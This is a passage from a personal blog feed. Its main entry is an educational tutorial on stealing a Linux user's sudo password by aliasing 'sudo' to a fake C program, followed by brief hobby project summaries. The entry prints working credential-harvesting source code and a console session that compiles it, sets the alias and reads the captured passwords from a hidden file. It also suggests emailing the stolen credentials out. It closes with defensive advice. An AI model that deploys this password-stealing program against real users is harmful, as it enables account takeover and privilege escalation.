&lt;p&gt;To use the &lt;code&gt;sudo&lt;/code&gt; program, a user runs &lt;code&gt;sudo&lt;/code&gt; followed by command or program they want to be run with superuser privileges, this usage be expressed as &lt;code&gt;sudo [command or program]&lt;/code&gt;. For more detailed documentation on &lt;code&gt;sudo&lt;/code&gt; as a program, you can view its manual online&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn5&quot; id=&quot;fnref5&quot;&gt;[5]&lt;/a&gt;&lt;/sup&gt; or run &lt;code&gt;man sudo&lt;/code&gt; in a Linux command-line.
After running the command, the user will be prompted to enter their password for using superuser privileges.
Upon succesfully entering the password, &lt;code&gt;sudo&lt;/code&gt; will run the command or program with superuser privileges.&lt;/p&gt;
&lt;p&gt;Someone who wants to take over your Linux computer will want to obtain these superuser privileges. In cybersecurity, this is refered to as Privilege Escalation&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn6&quot; id=&quot;fnref6&quot;&gt;[6]&lt;/a&gt;&lt;/sup&gt;. There’s many different ways you would achieve Privilege Escalation in a Linux system, stealing passwords is one of them.&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;how-the-attack-will-be-done&quot;&gt;How the Attack Will Be Done&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#how-the-attack-will-be-done&quot; aria-label=&quot;Link to section: How the Attack Will Be Done&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;In this scenario, we assume you are an attacker that has access to a user’s account but doesn’t know the user’s password for running &lt;code&gt;sudo&lt;/code&gt;. There’s &lt;s&gt;better&lt;/s&gt; more sophisticated ways&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn7&quot; id=&quot;fnref7&quot;&gt;[7]&lt;/a&gt;&lt;/sup&gt; of getting their password from this position as an attacker, though this method is simple and it tricks the victim user into supplying their credentials to a fraudulent program.&lt;/p&gt;
&lt;p&gt;Some might consider this social engineering&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn8&quot; id=&quot;fnref8&quot;&gt;[8]&lt;/a&gt;&lt;/sup&gt;, where an attacker convinces their victim to make unwise decisions. I would consider this attack the command-line equivalent of Evil Twin phishing&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn9&quot; id=&quot;fnref9&quot;&gt;[9]&lt;/a&gt;&lt;/sup&gt;, as the user would not be able to distinguish the use of our malicious program from their typical use of &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The premise of this attack is that any program found in the &lt;code&gt;/usr/bin/&lt;/code&gt; folder can be run without path &lt;code&gt;/usr/bin/&lt;/code&gt;. Meaning, the &lt;code&gt;sudo&lt;/code&gt; program that a user may use to elevate privileges can be found at &lt;code&gt;/usr/bin/sudo&lt;/code&gt;. You can execute &lt;code&gt;/usr/bin/sudo apt update -y&lt;/code&gt; the same as you would execute &lt;code&gt;sudo apt update -y&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;alias&lt;/code&gt; command, found in most Linux systems, allows us to run any command under a specified alias.
A common alias is &lt;code&gt;alias ll=&#x27;ls -alF&#x27;&lt;/code&gt;, used to run a more detailed, vertical version of the &lt;code&gt;ls&lt;/code&gt; command, which shows the contents of a certain directory.
Assuming our fake program is located at &lt;code&gt;/home/username/fakeprogram&lt;/code&gt;, we can alias ‘sudo’ to execute &lt;code&gt;fakeprogram&lt;/code&gt; when the user means to run &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This way, when they run &lt;code&gt;sudo apt update&lt;/code&gt;, they will be running &lt;code&gt;/home/username/fakeprogram apt update&lt;/code&gt; instead of &lt;code&gt;/usr/bin/sudo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In the example below, we use &lt;code&gt;which sudo&lt;/code&gt; to determine where the &lt;code&gt;sudo&lt;/code&gt; program is located in the system. We then alias the running of ‘sudo’ to run instead &lt;code&gt;echo haha!&lt;/code&gt;, which simply outputs ‘haha!’ to the user’s command-line output. Running &lt;code&gt;which sudo&lt;/code&gt; after aliasing ‘sudo’, we can see that the user wouldn’t suspect that the program &lt;code&gt;sudo&lt;/code&gt; would be in a strange place. Rather, they would have to check their aliases using &lt;code&gt;alias&lt;/code&gt; to find that they would be tricked into running a different program.&lt;/p&gt;
&lt;pre tabindex=&quot;0&quot;&gt;&lt;code&gt;eric@ubuntu:~$ which sudo
/usr/bin/sudo
eric@ubuntu:~$ alias sudo=&#x27;echo haha!&#x27;
eric@ubuntu:~$ which sudo
/usr/bin/sudo
eric@ubuntu:~$ alias
...
alias ll=&#x27;ls -alF&#x27;
alias sudo=&#x27;echo haha!&#x27;
eric@ubuntu:~$ sudo
haha!
eric@ubuntu:~$
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;requirements-for-the-attack&quot;&gt;Requirements for the Attack&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#requirements-for-the-attack&quot; aria-label=&quot;Link to section: Requirements for the Attack&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Access to a sudo user’s command-line&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You can be physically present at the computer or logged in remotely from a protocol such as SSH&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn10&quot; id=&quot;fnref10&quot;&gt;[10]&lt;/a&gt;&lt;/sup&gt;, VNC&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn11&quot; id=&quot;fnref11&quot;&gt;[11]&lt;/a&gt;&lt;/sup&gt;, or RDP&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn12&quot; id=&quot;fnref12&quot;&gt;[12]&lt;/a&gt;&lt;/sup&gt;.&lt;/li&gt;
&lt;li&gt;To check that the account has &lt;code&gt;sudo&lt;/code&gt; privileges, you can run the command &lt;code&gt;groups&lt;/code&gt; to find which groups the user is in. Typically, a user in either the ‘admin’, ‘wheel’, or ‘sudo’ group will have rights for &lt;code&gt;sudo&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;alias&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This found in most Linux command-line interpreters.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The ability to write a program and execute it&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In our case will be writing a program in C, compiling it with &lt;code&gt;gcc&lt;/code&gt;, and executing the program.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;performing-the-attack&quot;&gt;Performing the Attack&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#performing-the-attack&quot; aria-label=&quot;Link to section: Performing the Attack&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;A quick outline of the attack:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create a program to mimick the behavior of the &lt;code&gt;sudo&lt;/code&gt; program&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;alias&lt;/code&gt; to replace the usage of &lt;code&gt;sudo&lt;/code&gt; with our fake program&lt;/li&gt;
&lt;li&gt;Wait for the victim to use our fake program.&lt;/li&gt;
&lt;li&gt;Collect the information obtained by our fake program.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;heading heading-3&quot;&gt;&lt;h3 id=&quot;example-program-for-attack&quot;&gt;Example Program for Attack&lt;/h3&gt;&lt;a class=&quot;anchor&quot; href=&quot;#example-program-for-attack&quot; aria-label=&quot;Link to section: Example Program for Attack&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;pre tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;#eric@ubuntu:~$ cat fakesudo.c 
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main(int argc, char *argv[]){
        char *password;
        int max_tries = 3;
        char prompt[100];
        sprintf(prompt, &amp;quot;[sudo] password for %s:&amp;quot;, getlogin());

        FILE *file;
        file = fopen(&amp;quot;.exfiltrated.txt&amp;quot;,&amp;quot;a&amp;quot;);
        for(int i=0; i &amp;lt; max_tries; i++){
                password = getpass(prompt);
                fprintf(file,&amp;quot;%s:%s\n&amp;quot;, getlogin(), password);
                printf(&amp;quot;Sorry, try again.\n&amp;quot;);
        }
        printf(&amp;quot;sudo: %i incorrect password attempts\n&amp;quot;,max_tries);
        fclose(file);

        return 0;// Safely Exit the Program
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The above program creates a file named &lt;code&gt;.exfiltrated.txt&lt;/code&gt; We place a “.” before the filename to indicate that we would like the file to be hidden. Hidden files and directories are only shown to users when specified through a command such as &lt;code&gt;ls -a&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;While prompting the user for their password to run &lt;code&gt;sudo&lt;/code&gt;, we store their password input and write it to &lt;code&gt;.exfiltrated.txt&lt;/code&gt; in the form of &lt;code&gt;username:password&lt;/code&gt;. Even if user enters the ‘correct’ password, we pretend it’s invalid.&lt;/p&gt;
&lt;p&gt;Now that the program is written, it’s time to compile the program, set the alias, wait for the victim to run sudo, then come back and read &lt;code&gt;.exfiltrated.txt&lt;/code&gt; before anyone notices or the victim resets their password!&lt;/p&gt;
&lt;pre tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-console&quot;&gt;eric@ubuntu:~$ ls -a
.  ..  fakesudo.c
eric@ubuntu:~$ gcc fakesudo.c -o fakesudo # Compile program
eric@ubuntu:~$ alias sudo=&amp;quot;/home/urza/fakesudo&amp;quot; # Set alias
eric@ubuntu:~$ sudo apt update # Victim runs fakesudo
[sudo] password for urza:
Sorry, try again.
[sudo] password for urza:
Sorry, try again.
[sudo] password for urza:
Sorry, try again.
sudo: 3 incorrect password attempts
eric@ubuntu:~$ ls -a # Show hidden and non-hidden files
.  ..  .exfiltrated.txt  fakesudo  fakesudo.c
eric@ubuntu:~$ cat .exfiltrated.txt # Show our loot! 
eric:password123
eric:Password123
eric:stupid computer, that IS my password!
eric@ubuntu:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we can see that the user entered ‘password123’, ‘Password123’, and ‘stupid computer, that IS my password!’ as their password when they were prompted as we can tell by the data stored inside of &lt;code&gt;.exfiltrated.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I must say, this attack is far from the best solution, as the user may become frustrated and decide to reset their password before you can apply your maliciously obtained knowledge. However, it never hurts to learn how your victim chooses their passwords. They may use the same password in other systems or services, (another good reason to use a password manager and use unique passwords! https://www.pcmag.com/picks/the-best-password-managers), which may give you more access you can leverage against your victim.&lt;/p&gt;
&lt;p&gt;You may also choose to transmit the stolen credentials by writing a function to send the victim’s password to yourself via email, or however you wish to remotely send information to yourself from your victim’s computer.&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;preventing-this-attack&quot;&gt;Preventing this Attack&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#preventing-this-attack&quot; aria-label=&quot;Link to section: Preventing this Attack&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;People who are responsible for maintaining the operation and integrity of a computer system and its contents are known as Systems Administrators, or ‘sysadmins’. It is up to people such as sysadmins to implement policies and rules in their systems to prevent undesired behavior. Sysadmins protect computer systems from malicious hackers, by limiting the ways an attacker can get into and abuse a system. These ways are known as attack surfaces and attack vectors.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn13&quot; id=&quot;fnref13&quot;&gt;[13]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;The requirements specified earlier for this attack can each be considered attack vectors, all of those vectors existing together can be considered an attack surface.&lt;/p&gt;
&lt;p&gt;Let’s discuss how to prevent each of our attack vectors:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Access to a sudo user’s command-line
&lt;ul&gt;
&lt;li&gt;When an attacker has command-line access, also known as a ‘shell’, it is generally assumed that your entire system is compromised. Commonly you’ll see security researchers find exploits in a system to ‘pop a shell’, or obtain command-line access. Having access to even non-superuser privileges in a shell is generally assumed that the attacker can leverage their abilities to obtain superuser privileges through methods such as our alias attack. Instituting policies to limit who should have physical access can prevent physical attacks, though, whether or not you should worry about this depends on what your system’s “threat model”&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn14&quot; id=&quot;fnref14&quot;&gt;[14]&lt;/a&gt;&lt;/sup&gt;, or rather who you expect will try to attack you and how they will try to attack you.&lt;/li&gt;
&lt;li&gt;Setting policies for remote access is usually handled by establishing a Firewall&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn15&quot; id=&quot;fnref15&quot;&gt;[15]&lt;/a&gt;&lt;/sup&gt; to determine which remote connections are appropriate for your system, as well as configuring your services such as SSH&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn10&quot; id=&quot;fnref10:1&quot;&gt;[10:1]&lt;/a&gt;&lt;/sup&gt; as found in the ‘/etc/’ folder. In the case of SSH, its configuration file is found at ‘/etc/ssh/sshd_config’, where you can disable users from logging in to the superuser ‘root’ account by setting the PermitRootLogin parameter to ‘no’.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;alias&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;While &lt;code&gt;alias&lt;/code&gt; isn’t the most popular attack vector, since it assumes you already have a shell to do more sophisticated or common attacks, this &lt;a href=&quot;https://askubuntu.com/questions/910226/disallow-compromising-aliases-functions-alias-cd-rm-rf&quot;&gt;askubuntu post&lt;/a&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn16&quot; id=&quot;fnref16&quot;&gt;[16]&lt;/a&gt;&lt;/sup&gt; goes into detail on how to prevent abuse of the alias program. To summarize that post’s information, the post suggests to establish a standard configuration for users’ shells, so that any potentially malicious configurations such as malicious aliases are erased before they can affect victims.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Writing a program and executing it
&lt;ul&gt;
&lt;li&gt;You may have heard of “Read, Write, Execute”&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn17&quot; id=&quot;fnref17&quot;&gt;[17]&lt;/a&gt;&lt;/sup&gt; before. This describes users’ permissions in Linux systems. Every file and directory has permissions determining who can read its contents, write changes to its contents, and who can execute the files as programs. It is possible to set a whitelist of programs so that only certain programs can be executed, though that tends to be strict and if a user can’t be trusted to not write and execute malicious programs, it would probably be better to not let them be a user to begin with. This &lt;a href=&quot;https://askubuntu.com/questions/1165175/is-there-any-way-to-stop-a-user-from-creating-executables-and-running-them&quot;&gt;askubuntu post&lt;/a&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn18&quot; id=&quot;fnref18&quot;&gt;[18]&lt;/a&gt;&lt;/sup&gt; thoroughly covers the ways in which users can abuse their write and execute privileges, as well as methods to prevent these abuses.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Link to section: Conclusion&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;There’s many ways to improve upon this attack. You could write it in a different programming language, be more discrete in stealing the information, however you see fit. My hope is that this article may has helped you learn more how malicious hackers operate, develop attacks, and how these attacks can be prevented.&lt;/p&gt;
&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;footnotes&quot;&gt;Footnotes&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#footnotes&quot; aria-label=&quot;Link to section: Footnotes&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;hr class=&quot;footnotes-sep&quot;&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Wikipedia - Linux https://en.wikipedia.org/wiki/Linux &lt;a href=&quot;#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;BeyondTrust - What are Superuser Accounts, &amp;amp; How do You Secure Them? https://www.beyondtrust.com/blog/entry/superuser-accounts-what-are-they-how-do-you-secure-them &lt;a href=&quot;#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Wikipedia - Linux Distribution https://en.wikipedia.org/wiki/Linux_distribution &lt;a href=&quot;#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Wikipedia - sudo https://en.wikipedia.org/wiki/Sudo &lt;a href=&quot;#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Sudo.ws - Sudo Manual https://www.sudo.ws/man/1.8.14/sudo.man.html &lt;a href=&quot;#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn6&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Wikipedia - Privilege Escalation https://en.wikipedia.org/wiki/Privilege_escalation &lt;a href=&quot;#fnref6&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn7&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;HackMag - Reach the root! How to gain privileges in Linux? https://hackmag.com/security/reach-the-root/ &lt;a href=&quot;#fnref7&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn8&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;CSO Online - Social engineering explained: How criminals exploit human behavior https://www.csoonline.com/article/2124681/what-is-social-engineering.html &lt;a href=&quot;#fnref8&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn9&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Wikipedia - Evil Twin (wireless networks) https://en.wikipedia.org/wiki/Evil_twin_(wireless_networks) &lt;a href=&quot;#fnref9&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn10&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Wikipedia - SSH (Secure Shell) https://en.wikipedia.org/wiki/SSH_(Secure_Shell) &lt;a href=&quot;#fnref10&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt; &lt;a href=&quot;#fnref10:1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn11&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Wikipedia - Virtual Network Computing https://en.wikipedia.org/wiki/Virtual_Network_Computing &lt;a href=&quot;#fnref11&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn12&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Cyberark - Explain Like I’m 5: Remote Desktop Protocol (RDP) https://www.cyberark.com/resources/threat-research-blog/explain-like-i-m-5-remote-desktop-protocol-rdp &lt;a href=&quot;#fnref12&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn13&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Balbix - Attack Vector vs Attack Surface https://www.balbix.com/insights/attack-vector-vs-attack-surface/ &lt;a href=&quot;#fnref13&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn14&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Wikipedia - Threat Model https://en.wikipedia.org/wiki/Threat_model &lt;a href=&quot;#fnref14&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn15&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Wikipedia - Firewall (computing) https://en.wikipedia.org/wiki/Firewall_(computing) &lt;a href=&quot;#fnref15&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn16&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Stackoverflow - Disallow Compromising Aliases https://askubuntu.com/questions/910226/disallow-compromising-aliases-functions-alias-cd-rm-rf &lt;a href=&quot;#fnref16&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn17&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;GeeksForGeeks - Linux Permissions https://www.geeksforgeeks.org/permissions-in-linux/ &lt;a href=&quot;#fnref17&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn18&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;AskUbuntu - Stoping Writing and Executing https://askubuntu.com/questions/1165175/is-there-any-way-to-stop-a-user-from-creating-executables-and-running-them &lt;a href=&quot;#fnref18&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
  </entry>
  <entry>
    <title>Proxmox Virtualization Environment Host Node</title>
    <link href="https://ericiniguez.com/blog/proxmox/"/>
    <id>https://ericiniguez.com/blog/proxmox/</id>
    <updated>2020-02-01T00:00:00-05:00</updated>
    <summary>Installed the Proxmox VE operating system onto a desktop computer to act as a host node. Created LXC (Linux container) templates. Utilized containers to host…</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/proxmox/">&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;february-2020&quot;&gt;February 2020&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#february-2020&quot; aria-label=&quot;Link to section: February 2020&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Installed the Proxmox VE operating system onto a desktop computer to act as a host node. Created LXC (Linux container) templates. Utilized containers to host web servers, Linux shells for friends, Discord chat bots, and Minecraft servers.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>RFID Card Attendance Scanner</title>
    <link href="https://ericiniguez.com/blog/rfid-card-attendance-scanner/"/>
    <id>https://ericiniguez.com/blog/rfid-card-attendance-scanner/</id>
    <updated>2019-12-01T00:00:00-05:00</updated>
    <summary>Developed a C program for a Texas Instruments TIVA LaunchPad Embedded Systems Board to interface with an RFID Card Reader to take attendance by scanning…</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/rfid-card-attendance-scanner/">&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;december-2019&quot;&gt;December 2019&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#december-2019&quot; aria-label=&quot;Link to section: December 2019&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Developed a C program for a Texas Instruments TIVA LaunchPad Embedded Systems Board to interface with an RFID Card Reader to take attendance by scanning student ID cards. Implemented python script to send attendance list email.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Arduino Digital Clock</title>
    <link href="https://ericiniguez.com/blog/arduino-digital/"/>
    <id>https://ericiniguez.com/blog/arduino-digital/</id>
    <updated>2019-12-01T00:00:00-05:00</updated>
    <summary>Programmed an Arduino to display the four digits of a digital clock onto a four-digit seven segment display. Implemented a circuit of two pushbuttons to be…</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/arduino-digital/">&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;december-2019&quot;&gt;December 2019&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#december-2019&quot; aria-label=&quot;Link to section: December 2019&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Programmed an Arduino to display the four digits of a digital clock onto a four-digit seven segment display. Implemented a circuit of two pushbuttons to be able to adjust the time by incrementing or decrementing the value due to the lack of a hardware clock and internet access to access an internet clock.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Bogo Sort Bot</title>
    <link href="https://ericiniguez.com/blog/bogosort-bot/"/>
    <id>https://ericiniguez.com/blog/bogosort-bot/</id>
    <updated>2019-11-01T00:00:00-05:00</updated>
    <summary>Programmed a Raspberry Pi using Python and Linux tools to continuously attempt to sort a randomly generated list of numbers using the Bogo Sort sorting…</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/bogosort-bot/">&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;november-2019&quot;&gt;November 2019&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#november-2019&quot; aria-label=&quot;Link to section: November 2019&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Programmed a Raspberry Pi using Python and Linux tools to continuously attempt to sort a randomly generated list of numbers using the Bogo Sort sorting algorithm. Upon successfully sorting the list, subscribers in a mailing list were emailed the statistics and duration of the sorting process.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Raspberry Pi Robot Arm Surveillance Camera</title>
    <link href="https://ericiniguez.com/blog/raspberry-pi-robot-arm-surveillance-camera/"/>
    <id>https://ericiniguez.com/blog/raspberry-pi-robot-arm-surveillance-camera/</id>
    <updated>2018-11-01T00:00:00-05:00</updated>
    <summary>Programmed a Raspberry Pi that controlled a web camera mounted on a servo-motor robot arm. Implemented the ability to view a live feed, capture images, record…</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/raspberry-pi-robot-arm-surveillance-camera/">&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;november-2018&quot;&gt;November 2018&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#november-2018&quot; aria-label=&quot;Link to section: November 2018&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Programmed a Raspberry Pi that controlled a web camera mounted on a servo-motor robot arm. Implemented the ability to view a live feed, capture images, record video and control the servo arm over SSH&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Seinfeld Theme Door Sensor</title>
    <link href="https://ericiniguez.com/blog/seinfeld-theme-door-sensor/"/>
    <id>https://ericiniguez.com/blog/seinfeld-theme-door-sensor/</id>
    <updated>2018-11-01T00:00:00-05:00</updated>
    <summary>Constructed a circuit using an Arduino, ultrasonic sensor, and Adafruit MP3 Shield to play a randomly selected MP3 file when the ultrasonic sensor data…</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/seinfeld-theme-door-sensor/">&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;november-2018&quot;&gt;November 2018&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#november-2018&quot; aria-label=&quot;Link to section: November 2018&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Constructed a circuit using an Arduino, ultrasonic sensor, and Adafruit MP3 Shield to play a randomly selected MP3 file when the ultrasonic sensor data deduced that an individual entered the room.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Password Dump Parser</title>
    <link href="https://ericiniguez.com/blog/password-dump-parser/"/>
    <id>https://ericiniguez.com/blog/password-dump-parser/</id>
    <updated>2018-05-01T00:00:00-05:00</updated>
    <summary>Developed a Java program that generates statistics of publicly known password dumps to identify patterns in passwords. The statistics are used to educate the…</summary>
    <content type="html" xml:base="https://ericiniguez.com/blog/password-dump-parser/">&lt;div class=&quot;heading heading-2&quot;&gt;&lt;h2 id=&quot;may-2018&quot;&gt;May 2018&lt;/h2&gt;&lt;a class=&quot;anchor&quot; href=&quot;#may-2018&quot; aria-label=&quot;Link to section: May 2018&quot;&gt;#&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Developed a Java program that generates statistics of publicly known password dumps to identify patterns in passwords. The statistics are used to educate the public about vulnerable passwords.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Fan Baseball Cap</title>
    <link href="https://ericiniguez.com/blog/fan-baseball-cap/"/>
    <id>https://ericiniguez.com/blog/fan-baseball-cap/</id>
    <updated>2017-07-01T00:00:00-05:00</updated>
    <summary>Mounted, soldered and wired a computer fan to the bill of a baseball cap to blow air on the wearer’s face. The computer fan was soldered to an on/off switch…</summary>
